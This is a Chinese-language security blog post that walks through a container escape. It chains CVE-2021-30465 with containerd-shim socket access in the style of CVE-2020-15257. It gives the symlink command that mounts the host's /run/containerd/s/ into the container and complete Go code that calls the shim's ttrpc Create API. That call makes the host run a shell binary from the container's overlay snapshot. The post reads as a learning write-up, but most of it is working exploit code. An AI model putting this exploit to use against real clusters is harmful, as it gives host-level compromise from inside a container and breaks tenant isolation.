衍生学习:利用CVE-2021-30465访问containerd-shim socket并实现逃逸

在之前CVE-2020-15257的学习中提到了该漏洞的修复方式是把原本的抽象socket替换成文件socket,这样这些socket就能够收到mount namespace的隔离。而利用CVE-2021-30465可以挂载宿主中的任意目录到容器中,也就是说利用该漏洞,可以把containerd-shim socket所在的目录挂载到容器中,从而实现在容器中访问这些socket并实现逃逸。

前置阅读:
CVE-2020-15257学习
CVE-2021-30465学习

首先,跟CVE-2021-30465的复现步骤一样,创建一个pod。下一个创建符号链接的步骤有一个不同的地方,之前的复现步骤里是指向宿主根目录,这里我直接指向的是containerd-shim socket所在的目录(当然像之前那样指向根目录也能够访问到这些socket)。

ln -s /run/containerd/s/ /test2/test2

后面的步骤也差不多,利用条件竞争将/run/containerd/s/目录挂载到容器的/test1/zzz/上。

进入成功挂载目录的容器里,使用跟CVE-2020-15257类似的方式向其中任一socket发起请求。需要注意的是,在这里的环境中,containerd默认用的是v2的shim(之前的复现中用的是v1),使用起来有点区别:

package main

import (
    "context"
    "net"
    "github.com/containerd/ttrpc"
    shimapi "github.com/containerd/containerd/runtime/v2/task"
)

func main() {
    sock := "/test1/zzz/2665e78a394db764567c4690a5af0718ae0e0dc7292756ee8771295f69f4c7c7"
    container_id := "f88a70eec15af27dbe668a5df963942b0d2fa6486209fab139e8278e6602f697"
    fs := "/var/lib/rancher/k3s/agent/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/157/fs/"
    
    conn, _ := net.Dial("unix", sock)
    client := ttrpc.NewClient(conn)
    shimClient := shimapi.NewTaskClient(client)
    ctx := context.Background()
    md := ttrpc.MD{} 
    md.Set("containerd-namespace-ttrpc", "notmoby")
    ctx = ttrpc.WithMetadata(ctx, md)

    shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: container_id,
        Bundle: "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/" + container_id,
        Stdout: "binary:///bin/sh?-c="+fs+"shell",
    })
}

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注